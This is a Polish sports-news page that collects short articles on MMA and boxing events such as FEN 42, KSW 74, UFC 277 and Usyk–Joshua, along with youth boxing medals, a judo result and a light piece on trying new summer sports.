Niepokonany Zhurakivskiy rywalem Charzewskiego w walce mistrzowskiej

Anatoliy Zhurakivskiy (8-0, 2 KO, 1 SUB) podejmie Łukasza Charzewskiego (10-1, 1 N/C, 2 KO, 2 SUB) podczas gali FEN 42, która 15 października odbędzie się we wrocławskiej hali Orbita. Stawką tego pojedynku będzie pas mistrzowski FEN w kategorii lekkiej.
Zhurakivskiy to 26-letni Ukrainiec, który na zawodowstwie przebywa od 2017 roku i stoczył 8 walk, z których wszystkie wygrał. W ostatnim pojedynku Alaa Mansour musiał uznać wyższość październikowego pretendenta. Wcześniej na pełnym dystansie Zhurakivskiy wygrał z Arturem Stakhnyukiem. W dorobku Ukraińca są dwa zwycięstwa przez TKO. Pierwszy pojedynek miał miejsce w 2018 roku, wygrał wówczas z Dmitriyem Lavrukiem. Rok później wygrał z Andreyem Zubenko. Podczas gali FEN 42 Zhurakivskiy zadebiutuje w FEN.

Charzewski rozpędzony czterema zwycięstwami, które zanotował w federacji FEN. Po poddaniu Łukasza Bieńka i wypunktowaniu Krystiana Blezienia o umiejętnościach Harry’ego przekonał się Kacper Formela. Przegrał z nim na dystansie trzech rund podczas gali FEN 28. Pojedynek nagrodzono bonusem za najlepsze starcie gali. Przedostatnim razem kibice mieli okazję oglądać wojownika z Dolnego Śląska we Wrocławiu przy okazji gali FEN 30. Wtedy do zawodnik z Kamiennej Góry pokonał na pełnym dystansie Mansura Abdurzakova. Marcową konfrontację Charzewskiego z Matheusem Pereirą Moraisem uznano za nieodbytą.

Gala Wirtuoz Challenge 9 – KUP DOSTĘP

FEN 42: Niepokonani Wojciechowski z Olechem skrzyżują rękawice we Wrocławiu

Kamil Wojciechowski (6-0, 4 KO, 2 SUB) podejmie Łukasza Olecha (2-0, 2 SUB) podczas gali FEN 42, która 15 października odbędzie się we wrocławskiej hali Orbita.
Wojciechowski na zawodowstwie przebywa od 2016 roku i w tym czasie stoczył 6 pojedynków. W ostatnim boju wygrał przez kimurę w 1. rundzie z Arkadiuszem Jędraczką. Wcześniej pod szyldem FEN pokonał Kornela Zapadkę. Za znakomitej strony pokazał się podczas gali FEN 36, gdy wskoczył do karty walk na kilka dni przed wydarzeniem, a pokonał przez techniczny nokaut w 1. rundzie faworyzowanego Łukasza Klingera. Wcześniej wystąpił podczas Seaside BattleS Dziwnów, kiedy wygrał przez TKO w 2. rundzie z Michałem Gutowskim. Przed ponad trzyletnią przerwą, rozprawił się, również przez TKO, z Ruslanem Chapko.
Olech to wojownik, który walczył już na gali FEN – na zasadach semi-pro zwyciężył na FEN 37 z Pawłem Całkowskim rozprawiając się z nim trójkątnym duszeniem nogami. Na zawodowstwie stoczył dwie walki – w obu wygrał przez poddania. Duszeniem zza pleców Olech wygrał z Jakubem Ozgą, wcześniej zwyciężył z Sergiuszem Zającem. W karierze amatorskiej stoczył 13 walk i 12 z nich wygrał.

Specjalny pas na szali

17 września odbędzie się walka Giennadija Gołowkina z Saulem Alvarezem. Zwycięzca otrzyma specjalny pas „Jaguar Warrior”.

Pojedynek zapowiada się arcyciekawie. Na szali pojawią się pasy mistrzowskie WBA, WBO, IBF i WBC wagi super średniej. Gołowkin i Alvarez zmierzą się również o tytuł magazynu „The Ring”.

Dodatkowym elementem będzie specjalny pas „Jaguar Warrior„. Tytuł ma charakter symboliczny i nawiązuje do obchodzonego we wrześniu meksykańskiego święta niepodległości. Zwycięzca zdobędzie pas, ale w kolejnych pojedynkach nie będzie mógł go bronić w ringu.

Gołowkin wygrał ostatnie cztery walki, Alvarez ostatnio przegrał z Dmitrim Biwołem.

Fot. materiały promocyjne

 

Czytaj również: Powrót Pacquiao?

FEN 42: Dusza podejmie Abdurzakova w stolicy Dolnego Śląska

Szymon Dusza (11-7, 9 KO, 1 SUB) podejmie Mansura Abdurzakova (8-3, 2 KO, 5 SUB) podczas gali FEN 42, która 15 października odbędzie się we wrocławskiej hali Orbita. 
Dusza wygrał swój ostatni pojedynek wygrywając przez TKO w 2. rundzie z Wawrzyńcem Bartnikiem. W październiku 2019 roku stoczył pasjonujący bój z Kamilem Gniadkiem, którego pokonał przez techniczny nokaut w 3. rundzie. Wcześniej wygrał już w pierwszej minucie, również przez TKO, z innym zawodnikiem WCA, Tymoteuszem Łopaczykiem. Wojownik z Opola podczas swojej przedostatniej zwycięskiej walki wygrał w premierowej odsłonie z Rolandem Cambalem.  Trzy miesiące wcześniej do swojego rekordu dorzucił triumf w pojedynku stoczonym poza organizacją.

Abdurzakov wygrał swoje cztery ostatnie walki. W ostatnim boju wygrał z Nursualtanem Askerem, wcześniej na krajowym podwórku poddał w 2. rundzie Michała Golasińskiego. Ostatni występ w klatce FEN „Borz” zaliczył w marcu tego roku. Wygrał wówczas przez duszenie zza pleców z Kacprem Bróździakiem. Wcześniej podczas 30. edycji na punkty przegrał z Łukaszem Charzewskim. Abdurzakov w pokonanym polu zostawiał między innymi Adriana Kępę i Artura Pawlika.

Powrót Pacquiao?

Niewykluczone, że ponownie zobaczymy w ringu Manny’ego Pacquiao. Tym razem jest pięściarz ma wystąpić w walkach pokazowych.

W zawodowej karierze Filipińczyk wygrał 62 walki, 8 przegrał i 2 zremisował. Legendarny bokser zakończył karierę w 2021 roku. Zapisał się w historii jako pięściarz, który zdobywał tytuły w ośmiu kategoriach wagowych. Pacquiao zaangażował się w politykę.

Być może niebawem zobaczymy legendarnego pięściarza w ringu. W styczniu Pacquiao ma stoczyć pojedynek pokazowy z Jaberem Zayanim. Wcześniej planowana jest walkę na cele charytatywne z koreańskim youtuberem DK Yoo.

 

Czytaj również: Ruiz zmierzy się z Wilderem?

 

PPV

FEN 42: Kareciński z Rajewskim dodani do karty walk

Dawid Kareciński (2-0, 1 KO) podejmie Mateusza Rajewskiego (2-3, 1 KO) podczas gali FEN 42. Gala odbędzie się 15 października w hali Orbita. Pojedynek zakontraktowano w limicie kategorii piórkowej.
Kareciński ma za sobą dwa zawodowe starcia i w obu wygrywał ze swoimi przeciwnikami. Podczas gali Armia Fight Night 9 zwyciężył przez techniczny nokaut z Rashadem Kaddourą. Pół roku później rozprawił się na pełnym dystansie z Przemysławem Górnym. Sędziowie jednomyślnie podjęli decyzję o triumfie wojownika z Dolnego Śląska. We Wrocławiu Karakan zadebiutuje pod szyldem FEN.
Rajewski to zawodnik, który miesza starty w MMA i w K-1 oraz w boksie. Na zawodowstwie w formule mieszanej stoczył pięć pojedynków, z których dwa wygrał. Dzięki ciosom w parterze wygrał w 2. rundzie z Mikołajem Kaludą. Na pełnym dystansie jednogłośną decyzją sędziów rozprawił się z Kevinem Nowakiem. Ostatnie dwie walki w K-1 wygrał: z Kamilem Szłapką i Wojciechem Kazieczko. Podczas swojego debiutu bokserskiego, w październiku 2021 roku, wygrał z Adrianem Kępą.

Joshua szykuje się do powrotu

W grudniu Anthony Joshua powinien stoczyć kolejną walkę. Chyba, że wcześniej dojdzie do jego starcia z Tysonem Fury’m.

Joshua ma za sobą dwie porażki z Aleksandrem Usykiem. Brytyjczyk stracił pasy mistrzowskie IBF, IBO, WBA i WBO. „AJ” ma na swoim koncie 24 zwycięstwa i 3 porażki.

Joshua nie zamierza czekać i jeszcze w tym roku planuje kolejne starcie. Prawdopodobnie będzie to 10 bądź 17 grudnia. Na horyzoncie pojawia się jednak kolejna opcja. Być może „AJ” spotka się z Tysonem Fury’m, który to chciałby stoczyć bój z Joshuą. 

Czas pokaże, czy temat nabierze rozpędu. Jeśli oferta obozu Fury’ego nie będzie konkretna, to Joshua zaboksude w grudniu. Potem plany byłego mistrza skupiają się na marcowym starciu.

Fot. Anthony Joshua Facebook

WIRTUOZ CHALLENGE 9 – KUP PPV

Ruiz zmierzy się z Wilderem?

Szykuje się ciekawe zestawienie w wadze ciężkiej. Niebawem możemy być świadkami starcia Andy’ego Ruiza Jr i Deontaya Wildera.

Turniej WBC ma wyłonić pretendenta do pasa WBC wagi ciężkiej. Ruiz Jr wykonał krok pokonując Luisa Ortiza – 113:112, 114:111 i 114:111.

Teraz czas na stracie Deontaya Wildera i Roberta Heleniusa, które zaplanowano 15 października. Faworytem wydaje się Amerykanin. Wilder chce wygrać po utracie tytułu na rzecz Tysona Fury’ego. Z kolei Helenius ostatnio dwukrotnie pokonał Adama Kownackiego.

Ruiz Jr. cierpliwie czeka na rywala. Wiadomo jednak, że jego starcie z Wilderem byłoby elektryzujące. 15 października przekonamy się kto spota się z Ruizem.

Fot. Deontay Wilder Facebook

Zmarł Earnie Shavers

Dotarła do nas smutna wiadomość. W wieku 78 lat zmarł Earnie Shavers.

Amerykański bokser stoczył 89 zawodowych walk. Shavers zanotował 74 zwycięstwa, w tym 68 przez nokaut.

Uchodził za pięściarza z jednym z najmocniejszych uderzeń w historii boksu. Shavers dwukrotnie walczył o mistrzostwo wagi ciężkiej. W 1977 roku przegrał z Muhammadem Alim oraz w 1979 roku z Larrym Holmesem.

Czytaj: Kogo zobaczymy na KSW 74?

Głosuj na kickboxing

Kickboxing na Igrzyskach Olimpijskich? To możliwe! Trwa głosowanie.

Organizatorzy Igrzysk Olimpijskich w Los Angeles 2028 przedstawili listę dziewięciu sportów, które mogą dołączyć do programu igrzysk. Wśród nich znalazł się kickboxing. 

Każdy głos się liczy! Wystarczy wejść na stronę i zagłosować na kickboxing. Ostateczne decyzje będą znane w połowie 2023 roku.

 

Gala Wirtuoz Challenge 9 – KUP DOSTĘP

Kogo zobaczymy na KSW 74?

Już 10 września w Ostrowie Wielkopolskim odbędzie się gala KSW 74. W walce wieczoru pasa w wadze ciężkiej będzie bronił Phil De Fries.

Dla 36-latka urodzonego w Sunderlandzie będzie to siódma obrona tytułu. De Fries pas wywalczył w kwietniu 2018 we Wrocławiu, kiedy pokonał Michała Andryszak. Potem kolejno odprawiał Karola Bedorfa, Tomasza Narkuna, Luisa Henrique, Michała Kitę, ponownie Narkuna i ostatnio Darko Stosicia.

Teraz rywalem De Friesa będzie Ricardo Prasel. 32-latek ostatnio pokonał Daniela Omielańczuka, a wcześniej Michała Kitę. W całej karierze Niemiec zanotował 13 wygranych i 3 porażki.

Podczas KSW 74 Damian Janikowski zmierzy się z Tomem Breese, a Darko Stosić z Michałem Kitą. Zobaczymy także walki Cezarego Kęsika z Tomaszem Romanowski, Kacpra Koziorzębskiego z Emilem Mlekiem oraz Werllesona Martinsa z Pawłem Polityło. Na gali zaprezentują się również Anita Bekus, która spotka się z Sofii Bagishvili i Wojciech Kazieczko, a jego rywalem będzie Eduard Demeko. Na początek zaplanowano starcie Arkadiusza Mruka z Borysem Dzikowskim.

Kup dostęp – Gala Wirtuoz Challenge 9 Peace&Love Tylko w PPV

 

Fot. Phillip De Fries Facebook

1 października kolejna walka Cieślaka

1 października w Lublinie odbędzie się gala Knockout Boxing Night 24. Wystąpi na niej Michał Cieślak.

Dla 33-letniego boksera z Radomia będzie to drugi występ po porażce z Lawrencem Okolie w starciu o pas WBO w wadze junior ciężkiej. Ostatnio Cieślak rywalizował w Enerico Koellingiem. Polak pokonał Niemca już w pierwszej rundzie.

1 października w Lublinie Cieślak stoczy 25 walkę w karierze. Dotychczas 22 wygrał, w tym 16 przez nokaut. Zanotował 2 porażki.

W Lublinie wystąpią również Rafał Wołczecki i Kamil Szeremeta.

Wirtuoz Challenge 9 – ZOBACZ!

Fot. Materiały promocyjne

Czytaj również: 29 października Łomaczenko zmierzy się z Ortizem

„Mamy to mordeczki”, czyli Rębecki w UFC

Mateusz Rębecki pokonał Rodrigio Lidio na gali DWCS 52. Zwycięstwo okazało się przepustką do UFC.

„Chińczyk” poddał rywala w pierwszej rundzie podczas gali w LAS VEGAS, czym urzekł Danę White’a. Tym samym kolejny Polak będzie występował w UFC. – Mamy to mordeczki !!! Tak jak mówiłem tak zrobiłem. Nawet cierpliwy kamień ugotuje – cieszy się Rębecki.

29-letni „Chińczyk” wygrał 16 walk w karierze, zanotował jedną porażkę. Na swoim koncie miał pasa mistrza FEN w wadze lekkiej.

Fot. Mateusz Rebeki Facebook

 

Czytaj: FEN 41-wyniki 

Jaki sport uprawiać w nadchodzącym sezonie?

Gdy zima zacznie dobiegać końca, z pewnością poważnie będziesz się zastanawiać, co można robić w nadchodzącym sezonie letnim. Może to okazja do spróbowania swoich sił w nieco innych dyscyplinach sportu niż zimowa kulturystyka, czy granie w strzelanki na konsoli. Jeśli jesteś ciekawy, jakie propozycje przygotowaliśmy dla Ciebie – zapraszamy do przeczytania poniższego artykułu.

W okresie zimowym zupełnie zrozumiałym jest to, że staramy się unikać uprawiania sportów na otwartym powietrzu. Ujemne temperatury, chłód i chodniki usłane mieszaniną błota i soli w niczym nie zachęcają do podjęcia inicjatywy sportowej. Jednak, pomimo ujemnych temperatur, zachęcamy do wytężenia umysłu już dziś i zastanowienia się, czy może warto spróbować czegoś nowego. Wieloletnie treningi jednej dyscypliny sportu może już nie przynosić tyle radości oraz efektów, w porównaniu z początkowym okresem jej uprawiania.

Czy strzelectwo to dobra forma spędzania czasu z rodziną?

Może to czas na coś nowego albo coś, co stanie się dodatkiem do miło spędzanego czasu wraz z rodziną. Jednym z takich pomysłów może być strzelectwo. Nie mówimy jednak tutaj o broni ostrej, a jedynie dobrej jakości karabinach, wiatrówkach, Na które nie trzeba mieć specjalnego pozwolenia. Dzięki temu, że niepotrzebne są uprawnienia, jedyne co Cię ogranicza, przed wyruszeniem do lasu i rozpoczęcie swojej strzeleckiej przygody jest wybór odpowiedniego modelu.

Może to być równie dobrze karabin, jak krótki pistolet imitujący wyglądem model z Twojej ulubionej gry FPS. Wiatrówki dzielą się zazwyczaj na dwa rodzaje, gdzie jedne, aby wprawić śrut w ruch, wymagają sprężonego gazu z naboju, a inne kompresują to powietrze tłokiem napędzanym przez metalową sprężynę.

Jedne i drugie mają swoje wady i zalety. Wygoda wiatrówek zasilanych gazem, to konieczność zakupu naboi z gazem, a w przypadku zużycia wszystkich, przymusowego zakończenia zabawy. Z kolei te zasilane ręcznym naciągiem, cechują się dużo niższą szybkostrzelnością oraz odrzutem, który zaburza trajektorię lotu śrutu.

Może alternatywa dla tradycyjnej siłowni?

Jeśli wolimy bardziej aktywną formę spędzania czasu, to może zamiast klasycznej siłowni, warto pomyśleć o streetworkout’cie, czyli treningu z wykorzystaniem ciężaru własnego ciała. Pewnie nie raz wadziłeś drążki i drabinki, przy których ćwiczą sportowcy, bez względu na panującą dookoła aurę. Wiele osób uważa taki trening za dużo bardziej efektywny oraz mniej narażający na kontuzje niż ten klasyczny trening na siłowni.

Polecany jest dla ludzi w każdym wieku, ponieważ sposób, w jaki napinasz mięśnie przy każdym z ćwiczeń, jest nieporównywalnie mniej kontuzyjny niż jakikolwiek sport siłowy. Masz kłopoty z podciąganiem? Nie musisz robić tego, nie wiadomo ile razy. Początkowo trudne ćwiczenia szybko staną się względnie przystępne. Wystarczy, że będziesz stosował tak zwane progresje, czyli ćwiczenia pomocnicze do osiągnięcia danej figury, lub w pełni poprawnego, trudnego nowego ruchu.

Treningi z gumami oporowymi

Wolisz wykonywać ćwiczenia w przerwach w trakcie swojej zdalnej pracy? Obowiązki na wymagającym stanowisku sprawiają, że szukasz sposobu na złapanie świeżych myśli i rozruszania się intelektualnego? Z kolei nie chcesz inwestować za dużo w sprzęt sportowy, którego i tak nie masz gdzie postawić w swoim maleńkim mieszkaniu? Nic trudnego, ponieważ idealnie do tego sprawdzą się gumy do ćwiczeń. Wystarczy kupno 2 lub trzech sztuk o różnym poziomie oporu.

  • 10 kg
  • 20 kg
  • 30 kg

Z takim zestawem, możemy wykonywać większość ćwiczeń, które byśmy wykonywali na siłowni. Prawda, że to fantastyczne? W wielu marketach, co jakiś czas pojawia się promocja, gdzie można kupić wysokogatunkowe gumy w naprawdę rozsądnych cenach.

Bardzo zachęcająca była jedna z wypowiedzi Sylvestra Stallone, który pomimo swojego wieku, reprezentuje tężyznę fizyczną, której mógłby pozazdrościć niejeden intensywnie trenujący 20sto latek. Zachwalał na wszelkie możliwe sposoby korzyści, jakie daje trening właśnie z gumami.

Mamy nadzieję, że powyższy artykuł zdołał Cię przekonać do podjęcia prób w nowym sporcie, lub chociaż uzupełnić Twój ulubiony, czymś zupełnie nowym.

FEN 41 – wyniki

Za nami gala FEN 41 w Mrągowie. W walce wieczoru Bartosz Szewczyk przez niejednogłośną decyzję pokonał Dimitriya Mukutsę.

Poznajmy wyniki gali:

93 kg: Bartosz Szewczyk pokonał Dimitriya Mikutsę – niejednogłośna decyzja

88 kg: Marcin Filipczak pokonał Piotra Kalenika – jednogłośna decyzja
120,2 kg: Adam Biegański pokonał Damiana Bujkowskiego – poddanie w drugiej rundzie
120,2 kg: Paweł Biernat pokonał Karola Żołowskiego – TKO w pierwszej rundzie
70,3 kg: Damian Rzepecki pokonał Huberta Sulewskiego – poddanie w drugiej rundzie
86,2 kg, K-1: Kamil Paczuski pokonał Karola Łasiewickiego – większościowa decyzja
61,2 kg: Lukáš Chotěnovský pokonał Adriana Błońskiego – poddanie w trzeciej rundzie
120,2 kg: Mateusz Olech pokonał Michała Dąbkowskiego – TKO w pierwszej rundzie

W karcie wstępnej Arkadiusz Dzikielewski (77,1kg) pokonał jednogłośną decyzją Jakuba Wiśniewskiego. Wygrane zanotowali również Igor Włodarczyk (70,3kg) i Michał Malinowski (73kg). Zawodnicy wygrali przed jednogłośną decyzją z Krystianem Olsztą i Dawidem Grynią.

Fot. materiały promocyjne

 

Czytaj: Medale polskich bokserów

29 października Łomaczenko zmierzy się z Ortizem

29 października w Nowym Jorku dojdzie do starcia Wasyla Łomaczenki z Jamaine’m Ortizem.

Ukraiński bokser ma za sobą dwie wygrane walki – z Richardem Commey’em i Masayoshim Nakatanim. Wcześniej Łomaczenko, grudzień 2020 roku, przegrał z Teofimo Lopezem i stracił pasy WBC, WBA i WBO w wadze lekkiej.

Teraz kolejne wyzwaniem przed mistrzem olimpijskim z Pekinu i z Londynu. Rywalem Łomaczenki będzie 26-letni Jamaine Ortiz, który wygrał 16 walk i zanotował jeden remis.

Z kolei 16 października w Melbourne dojdzie do starcia o prymat w wadze lekkiej. Devid Haney spotka się w rewanżu z George’m Kambososem Juniorem.

Walka Biwoła

Na szali pojawi się tytuł WBA wagi półciężkiej. 5 listopada w Zjednoczonych Emiratach Arabskich zmierzą się Dmitrij Biwoł i Gilberto Ramirez.

Czytaj również: Usyk pokonał Joshuę

Usyk pokonał Joshuę

Oleksandr Usyk ponownie lepszy od Anthony’ego Joshuy. Ukrainiec wygrał niejednogłośnie na punkty i zachował pasy WBA, WBO i IBF.

Początek starcia wyrównany. Joshua był aktywny, trafiał rywala, ale jego ciosy nie robiły na Usyku wrażenia. Mimo wszystko skuteczniejszy wydawał się Ukrainiec. Czas działał na korzyść Usyka. W ósmej rundzie przyspieszył Joshua. Dziewiąta odsłona również dla niego. Usyk wrócił do gry w kolejnych, a dwunasta była już pełnym popisem bokserów. Obaj chcieli skończyć walkę przed czasem. Ostatni gong i oczekiwanie na werdykt.

115:113 Joshua, 115:113 i 116:112 dla Usyka. Ukrainiec obronił mistrzowskie pasy. Dla Usyka to 20 wygrana w karierze.

 

Fot. Александр Усик / Usyk Facebook

 

Czytaj również: 15 października Wilder zmierzy się z Heleniusem

Medale młodych bokserów

Bardzo dobry występ naszych bokserów w mistrzostwach Europy młodzików w Turcji.

Polacy mają powody do zadowolenia. Do Turcji poleciało 19 bokserek i bokserów, którzy z powodzeniem rywalizowali w mistrzowskiej imprezie. O złoty medal w kategorii wagowej 75kg walczył Daniel Murawski. Polak przegrał jednak w finale z Niemcem Colinem Lottnerem. Srebry medal dla Murawskiego z Pomorzanina Toruń.

Biało-czerwoni wywalczyli również osiem brązowych medali. Wśród dziewcząt na podium stanęły: Gabriela Wawszczyk (44 kg/Akademia Boksu Roberta Gortata Jaworzno), Maria Gorzelanna (48 kg/Sporty Walki Gostyń), Oliwia Wasiakowska (51 kg/Gryf Wejherowo), Zuzanna Gołębiewska (57 kg/RUSHH Kielce) i Judyta Andrukajtis (64 kg/Elite Fight Club Lidzbark Warmiński).

Brązowe medale zdobyli również chłopcy: Patryk Dudek (54 kg/Iryda Mielec), Kajetan Bejzert (70 kg/Zagłębie Konin) i Jerzy Armatys (90 kg/Iryda Mielec).

Fot. Polski Związek Bokserski Facebook

Czytaj również: Polak z brązowym medalem mistrzostw świata!

15 października Wilder zmierzy się z Heleniusem

Potwierdziło się to o czym informowaliśmy. Dojdzie do starcia Deontaya Wildera z Robertem Heleniusem.

Pojedynek odbędzie się 15 października w Barclays Center. Dla 36-letniego Wildera będzie to powrót na ring po dwóch porażkach z Tysonem Furym. Amerykanin stracił pas WBC. Wilder ma na koncie 42 zwycięstwa, w tym 41 przed czasem.

Rywalem Amerykanina będzie doświadczony Robert Helenius. 38-letni ma na koncie 31 zwycięstw i 3 porażki. Ostatnio dwukrotnie pokonał Adama Kownackiego.

Nadchodzi wielka walka

Już 20 sierpnia kolejne starcia Anthony’ego Joshuy z Oleksandrem Usykiem. Ukrainiec zdominował rywalizację w wadze junior ciężkiej i przebojem wdarł się do kategorii ciężkiej. Szybko dotarł do walki o najwyższe laury. 25 września 2021 roku Usyk pokonał Joshuę i zdobył pasy WBO, IBF, WBA i IBO. Teraz „AJ” będzie chciał je odzyskać. Raz stracił pasy na rzecz Andy’ego Ruiza, którego pokonał w rewanżu. Czy tym razem będzie tak samo?

Czytaj również: Pogromca Kownackiego spotka się z Wilderem?

Fot. Deontay Wilder Facebook

Polak z brązowym medalem mistrzostw świata!

Marcin Kowalski (73kg) zdobył brązowy medal mistrzostw świata juniorów w judo, które odbywają się w Guayaquil.

Polski zawodnik rozpoczął zmagania w Ekwadorze od wygranej z Pedro Espinozą. W kolejnym starciu Kowalski okazał się lepszy od Vusala Galandarzade. Porażkę Polak zaliczył w ćwierćfinale, z którego zwycięsko wyszedł Daniel Szegedi.

Kowalski ambitnie walczył w repasażach i triumfował w pojedynku z Hassanem Doukkalim. Przyszedł najważniejszy punkt turnieju mistrzowskiego – walka o medal. Kowalski stawił czoła Kote Kapanadze i pokonał Gruzina.

W kategorii 73kg po złoto sięgnął Japończyk Ryuga Tanaka, który pokonał Giorgija Terashviliego.

Fot. IJF/PZJudo

 

Oglądaj kiedy chcesz – #VOD

Pogromca Kownackiego spotka się z Wilderem?

Deontay Wilder szykuje się do powrotu na ring. Niewykluczone, że spotka się z pogromcą Adama Kownackiego – Robertem Heleniusem.

Dla Amerykanina ostatni czas nie był najlepszy. Trylogia z Tysonem Fury’m nie potoczyła się po jego myśli. Wilder przegrał dwukrotnie z „Królem Cyganów” i stracił pas mistrzowski WBC. Teraz ma zaprezentować się w ringu jesienią.

Możliwe, że Wilder zmierzy się z Robertem Heleniusem, który pokonał dwukrotnie Adama Kownackiego. Walka miałaby odbyć się 15 października.

Fot. Deontay Wilder Facebook

 

Czytaj również: W listopadzie walka o prymat w wadze półśredniej

W listopadzie walka o prymat w wadze półśredniej

Kto będzie panował w wadze półśredniej? Terence Crawford czy Errol Spence Jr? O tym przekonamy się w listopadzie.

Od dłuższego czasu mówi się o tym pojedynku. Ta walka musi mieć miejsce! Kibice czekają na starcie, które wyłoni najlepszego w wadze półśredniej. Spence Jr ma pasy IBF, WBA i WBC. Z kolei do Crawford należy tytuł mistrzowski WBO.

Pojedynek ma odbyć się 12 lub 19 listopada w Las Vegas. Rozmowy w tej sprawie znajdują się w fazie finalizacji.

Dotychczas Spence Jr wygrał 28 walk, Crawford o 10 więcej. Obaj nigdy nie przegrali.

Fot. Terence „Bud” Crawford Facebook

 

Sprawdź PPV

Nominacje na mistrzostwa Europy

Poznaliśmy kadrę na mistrzostwa Europy w Turcji młodziczek w boksie, które rozpoczną się 10 sierpnia w Turcji.

Dziś w Centralnym Ośrodku Sportu w Wałczu wiceprezes Polskiego Związku Bokserskiego Maciej Demela wręczył nominacje na mistrzowską imprezę. Zawodniczki zaczną rywalizację 10 sierpnia.

Kadra Polski na mistorzowstwa Europy młodziczek:

  • 44 kg Gabriela Wawszczyk
  • 48 kg Maria Gorzelanna
  • 52 kg Oliwia Wasiakowska
  • 54 kg Antonia Harder
  • 57 kg Zuzanna Gołębiewska
  • 60 kg Michalina Kotyza
  • 64 kg Judyta Andrukajtis

Czytaj również: Kadra przygotowuje się do mistrzostw świata

 

W dniach 2-9 sierpnia nasze bokserki trenowały podczas zgrupowania w Wałaczu. Rok temu w Sarajewie zdobyliśmy srebro i pięć brązowych medali.

Fot. Polski Związek Bokserski

 

Oglądaj kiedy chcesz #VOD

Adesanya i Pereira powalczą o pas

Podczas gali UFC 281 Israel Adesanya i Alex Pereira spotkają się w walce, której stawką będzie pas mistrzowski kategorii średniej.

Do starcia dojdzie 12 listopada w Madison Square Garden. Adesanya po raz szósty będzie bronił pasa kategorii średniej. Ostatnio Nigeryjczyk pokonał Jareda Cannoniera. Na rozkładzie ma również Roberta Whittakera i Marvina Vettoriego. W marcu 2021 roku Adesanya przegrał z Janem Błachowiczem. Nigeryjczyk miał zakusy na zdobycie pasa kategorii półciężkiej.

Z kolei Pereira ma za sobą trzy walki w UFC. Wszystkie wygrał, w tym dwie przed czasem. Ostatnio wypunktował Seana Stricklanda, a miała to miejsce podczas gali UFC 276, kiedy to Addesanya pokonał Cannoniera.

Kolejna walka

Panowie doskonale się znają. Adesanya i Pereira walczyli ze sobą w K-1. Zwycięsko z tych potyczek wychodził „Platan”. W 2017 roku Pereira znokautował Adesanyę.

Fot. Materiały promocyjne

 

Sprawdź:

GALA MISTRZOSTW POLSKI LOW KICK PRO AM TYLKO W PPV 22,99 PLN

Masternak piąty

Mateusz Masternak znalazł się na piątym miejscu w najnowszym rankingu federacji IBF w kategorii junior ciężkiej.

35-letni pięściarz ma za sobą serię pięciu zwycięstw z rzędu. Łącznie w karierze zwyciężał 46 razy, przegrał 5. Jesienią Masternak ma walczyć z Jasonem Whateleyem. Starcie będzie eliminatorem do mistrzowskiego pasa.

Na dwunastej pozycji w rankingu w kategorii średniej jest Fiodor Czerkaszyn. Z kolei w wadze półciężkiej dziesiątą lokatę zajmuje Paweł Stępień. Bokser podczas piątkowej gali Knockout Boxing Night 23 w Mrągowie zmierzy się z Iago Kizirią.

 

Fot. Mateusz Masternak Facebook

Ankalaev chce walki o pas

Magomed Ankalaev podkreśla, że jego celem jest starcie o pas mistrzowski w wadze półciężkiej.

30-latek zgłosił swoje aspiracje po zwycięstwie na gali UFC 277, gdzie pokonał w drugiej rundzie Anthony’ego Smitha. Ankalaev odniósł 17 zwycięstwo w karierze.

Dagestańczyk podkreślił, że gotowy jest na każdego rywala, ale jego celem jest walka mistrzowska. Dana White dał do zrozumienia, że Ankalaev jest blisko takiej walki.

Mistrzem wagi półciężkiej jest Jiri Prochazka.

 

Fot. pixabay – zdjęcie poglądowe

Nunes odzyskała pas

Podczas gali UFC 277 Amanda Nunes pokonała Juliannę Pełne. Tym samym Brazylijka odzyskała pas wagi koguciej.

Nunes zdominowała rywalkę, co odzwierciedla decyzja sędziów. Ci punktowali 50:54, 50:44 i 50:43 na korzyść brazylijskiej zawodniczki, która cieszy się z pasa mistrzowskiego.

Dla Nunes to 22 wygrana w karierze i udany rewanż na Penie, z którą przegrała w grudniu 2021 roku.

Fot. Amanda Nunes Leoa Facebook

37 wygrana Garcii

Danny Garcia lepszy od Jose Benavideza na gali Premier Boxing Champions w Nowym Jorku. Amerykanin wygrał jednogłośnie na punkty.

Garcia debiutował w wadze super półśredniej i odniósł sukces. Po dwunastu rundach sędziowie wskazali na jego zwycięstwo – 117:111, 116:112, 114:114.

Amerykański pięściarz odniósł 37 zwycięstwo w karierze przy 3 porażkach.

 

Fot. Danny Swift Garcia Facebook

Derewianczenko przerwał złą serię

Sergiej Derewianczenko zwycięski. Ukrainiec pokonał Joshuę Conleya.

Derewianczenko w ostatnich pięciu walkach zanotował aż cztery porażki. Przegrał m.in. z Gennadijem Gołowkinem, z który walczył o miano mistrza świata wagi średniej. 

Na gali w Nowym Jorku Derewianczenko przełamał złą passę. Wygrał z Joshuą Conleyem – 98:92 i dwukrotnie 99:91. Na to zwycięstwo Ukrainiec czekał od trzech lat.

Kownacki przegrał z Demirezenem

Adam Kownacki przegrał z Alim Demirezenem. To trzecia porażka w karierze Polaka.

Pierwsze trzy rundy w wykonaniu Kownackiego wyglądały bardzo dobrze. Potem do głosu doszedł Demirezen. Po dziesięciu rundach sędziowie wskazali na pięściarza z Turcji – 96:94 i dwukrotnie 93:97.

Dla Kownackiego to trzecia porażka z rzędu. Wcześniej dwukrotnie przegrał z Robertem Heleniusem.

 

Fot. Adam Kownacki Facebook

Kadra przygotowuje się do mistrzostw świata

Mistrzostwa świata seniorów – to najważniejsza tegoroczna impreza w taekwondo olimpijskim. Polacy szykują się imprezy.

W połowie lipca biało-czerwoni rozpoczęli obóz w Zakopanem. Był to początek przygotowań do mistrzostw świata seniorów, które odbędą się w listopadzie w Meksyku. Zawodnicy ciężko pracowali. – Skupienie się na technice, przygotowaniu motorycznym i systematycznym wzroście obciążeń treningowych – tego od nich wymagano.

Liczymy, że w listopadzie Polacy w Meksyku dadzą nam powody do radości. Podczas mistrzostw Europy w taekwondo srebrne medale zdobyły Patrycja Adamkiewicz i Aleksandra Kowalczuk. 

Fot. Polski Związek Taekwondo Olimpijskiego

Romanowski chce kogoś z czołówki

Tomasz Romanowski jest gotowy na kolejne wyzwania w KSW. Zawodnik chce zmierzyć się z kimś z czołówki wagi średniej.

33-latek wygrał trzy ostatnie walki w KSW. Pokonała Aleksandra Rakasa, Michała Pietrzaka i Andrzeja Grzebyka. To ostatnie zwycięstwo było efektowne. Romanowski wygrał w pierwszej rundzie. Miał jednak problem z wypełnieniem limity kategorii półśredniej i został usunięty z rankingu KSW.

